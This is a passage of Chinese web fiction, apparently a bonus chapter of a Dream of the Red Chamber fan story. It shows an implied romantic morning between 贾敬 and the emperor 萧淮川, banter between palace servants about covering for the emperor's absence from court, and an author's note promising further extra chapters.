可只有唇间蔓延开的刺痛和丝丝血腥味,能让贾敬心安,让他深刻意识到,萧淮川还活着。 贾敬的不安很快被萧淮川捕捉到,萧淮川的喉结滚了滚,一只手穿插在贾敬的发间,另一只手反手扣住贾敬的五指,加深,纠缠,交融…… 窗外雨势早已停歇,微微晨光穿透窗棂照射进来,龙床上的床幔遮的严严实实。 当值的小太监们在廊下走动,声音轻缓。 忍冬稍稍凑近到门边,听着里面的动静,嘴角压不住的扬起,旁边的小德子如今也和忍冬熟了,挤眉弄眼道: “总管,这还进去吗?” 忍冬一个拂尘敲在小德子头上。 “待会儿请太医来,说陛下夜间批阅奏折,感染了风寒。” “今日早朝恐不得去了。” 【作者有话要说】 第一个福利番外掉落!后面还有呀!感谢小伙伴们的支持!![加油][加油] 番外剧透:君臣相宜后的大乾,红楼小辈们是怎样生活的? 可能还会有后世论坛体(是的,很古早了,但是我想写呢!)【你现在阅读的是 】